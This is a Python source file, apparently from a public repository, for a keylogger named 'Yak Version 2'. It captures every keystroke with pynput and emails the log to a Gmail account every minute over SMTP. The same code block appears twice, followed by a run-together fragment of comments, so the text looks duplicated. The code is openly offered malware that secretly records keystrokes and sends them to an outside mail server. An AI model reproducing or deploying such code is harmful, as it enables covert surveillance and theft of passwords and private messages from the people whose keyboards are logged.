<gh_stars>10-100
## DanderSpritZ KeyLogger using Pynput Library
## Yak Version 2
## By ShowNadda

##
# Information:
#  Logs sent to Gmail Account
##

## Global Imports
import threading
import pynput
import smtplib

class yak:
    def __init__(self,email,password):
        self.keylogs = ""
        self.password = ""
        self.email = ""

    def append_to_kl(self, string):
        self.keylogs = self.keylogs + string

    def process_key_listen(self,key):
        try:
            current_key = str(key.char)

        except AttributeError:
            if key == key.space:
                    current_key = " "

            else:
                current_key = " " + str(key) + " "

        self.append_to_kl(current_key)      

    def report(self):
        # print(self.keylogs)
        self.send_gmail(self.email,self.password,self.keylogs)

        self.keylogs = ""
        timer = threading.Timer(60,self.report)

        timer.start()

    def send_gmail(self,email,password,message):
        server = smtplib.SMTP("smtp.google.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press= self.process_key_listen)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

launch_yak = yak("<EMAIL>","password_<PASSWORD>")
launch_yak.start()
## DanderSpritZ KeyLogger using Pynput Library
## Yak Version 2
## By ShowNadda

##
# Information:
#  Logs sent to Gmail Account
##

## Global Imports
import threading
import pynput
import smtplib

class yak:
    def __init__(self,email,password):
        self.keylogs = ""
        self.password = ""
        self.email = ""

    def append_to_kl(self, string):
        self.keylogs = self.keylogs + string

    def process_key_listen(self,key):
        try:
            current_key = str(key.char)

        except AttributeError:
            if key == key.space:
                    current_key = " "

            else:
                current_key = " " + str(key) + " "

        self.append_to_kl(current_key)      

    def report(self):
        # print(self.keylogs)
        self.send_gmail(self.email,self.password,self.keylogs)

        self.keylogs = ""
        timer = threading.Timer(60,self.report)

        timer.start()

    def send_gmail(self,email,password,message):
        server = smtplib.SMTP("smtp.google.com", 587)
        server.starttls()
        server.login(email,password)
        server.sendmail(email,email,message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press= self.process_key_listen)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

launch_yak = yak("<EMAIL>","password_<PASSWORD>")
launch_yak.start()
## DanderSpritZ KeyLogger using Pynput Library ## Yak Version 2 ## By ShowNadda ## # Information: #  Logs sent to Gmail Account ## ## Global Imports # print(self.keylogs)